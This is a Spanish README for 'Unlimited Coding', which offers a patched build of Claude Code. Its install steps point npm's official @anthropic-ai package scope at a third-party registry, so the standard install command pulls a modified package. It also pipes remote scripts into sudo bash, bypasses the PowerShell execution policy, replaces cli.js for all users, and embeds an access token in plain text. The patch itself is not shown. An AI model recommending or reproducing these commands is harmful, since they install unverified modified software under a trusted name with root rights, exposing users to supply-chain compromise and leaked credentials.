# Unlimited Coding

🌐 [English](README.md) | [Русский](README_ru.md) | [中文](README_zh.md) | [Español](README_es.md)

Herramientas de IA para codificación con soporte para puntos finales de API personalizados.

## Productos

| Carpeta | Herramienta | Estado |
|-------|-----------|--------|
| [claude/](claude/) | Claude Code | Activo (v2.1.62) |
| codex/ | OpenAI Codex CLI | Planeado |
| gemini/ | Gemini CLI | Planeado |
| qwen/ | Qwen Code | Planeado |
| antigravity/ | Antigravity | Planeado |

## Inicio rápido

### Verificación de requisitos previos

Antes de instalar, verifique que Node.js v24.13+ esté instalado:

```bash
# Comprobar versión de Node.js
node --version

# Si falta Node.js o la versión es demasiado antigua, instale:
# Linux (Debian/Ubuntu):
sudo apt update && sudo apt install -y nodejs npm

# Linux (RHEL/Fedora):
sudo dnf install -y nodejs npm

# macOS:
brew install node

# Windows (PowerShell como Administrador):
winget install OpenJS.NodeJS
```

### Alternativa - Autoinstalación de Node.js

Si necesita instalar o actualizar Node.js automáticamente:

**Linux:**
```bash
curl -fsSL https://deb.nodesource.com/setup_24.x | sudo -E bash - && sudo apt-get install -y nodejs
```

**macOS:**
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install node
```

**Windows:**
```powershell
# Como Administrador
winget install OpenJS.NodeJS
```

### Claude Code — Instalación

Dos comandos en cualquier plataforma:

**Linux / macOS:**
```bash
npm config set @anthropic-ai:registry https://npm.sensey24.ru/
npm install -g @anthropic-ai/claude-code
```

**Windows (PowerShell):**
```powershell
npm config set "@anthropic-ai:registry" "https://npm.sensey24.ru/"
npm install -g @anthropic-ai/claude-code
```

> Se requiere Node.js. Descargar: https://nodejs.org/

### Actualización

Los mismos dos comandos — npm descargará automáticamente la última versión parcheada desde nuestro registro.

### Alternativa — instalador automático (si no tienes Node.js)

Instala Node.js, Claude Code y los parches automáticamente.

**Linux (Debian/Ubuntu/RHEL/Fedora):**
```bash
curl -fsSL -H "Authorization: token cadffcb0a6a3be728ac1ff619bb40c86588f6837" \
  https://git.sensey24.ru/aibot777/unlimitedcoding/raw/branch/master/claude/uclaude_install.sh \
  -o /tmp/uclaude.sh && sudo bash /tmp/uclaude.sh
```

**macOS:**
```bash
curl -fsSL -H "Authorization: token cadffcb0a6a3be728ac1ff619bb40c86588f6837" \
  https://git.sensey24.ru/aibot777/unlimitedcoding/raw/branch/master/claude/uclaude_install.sh \
  -o /tmp/uclaude.sh && bash /tmp/uclaude.sh
```

**Windows (PowerShell como administrador):**
```powershell
git clone --depth 1 https://x-token:cadffcb0a6a3be728ac1ff619bb40c86588f6837@git.sensey24.ru/aibot777/unlimitedcoding.git
cd unlimitedcoding
powershell -ExecutionPolicy Bypass -File claude\uclaude_update.ps1 --force
```

### Instalación manual desde el lanzamiento

Clona el repositorio y ejecuta el instalador:

```bash
git clone --depth 1 https://x-token:cadffcb0a6a3be728ac1ff619bb40c86588f6837@git.sensey24.ru/aibot777/unlimitedcoding.git
cd unlimitedcoding
```

<!-- MANUAL_VERSION:START -->
| Plataforma | Comando |
|-----------|---------|
| Linux / macOS | `sudo bash claude/releases/v2.1.62/install.sh` |
| Windows CMD | `claude\releases\v2.1.62\install.bat` |
| Windows PowerShell | `powershell -ExecutionPolicy Bypass -File claude\releases\v2.1.62\install.ps1` |
<!-- MANUAL_VERSION:END -->

## Qué se instala automáticamente

| Componente | Linux | macOS | Windows |
|-----------|-------|-------|---------|
| Git | apt/dnf/yum | brew | winget |
| Python 3 | apt/dnf/yum | brew | winget |
| Node.js v24.13+ | nodesource | brew | winget |
| Claude Code | npm | npm | npm |
| cli.js parcheado | reemplazo con copia de seguridad | reemplazo con copia de seguridad | reemplazo con copia de seguridad |
| Configuraciones | todos los usuarios | todos los usuarios | todos los usuarios |
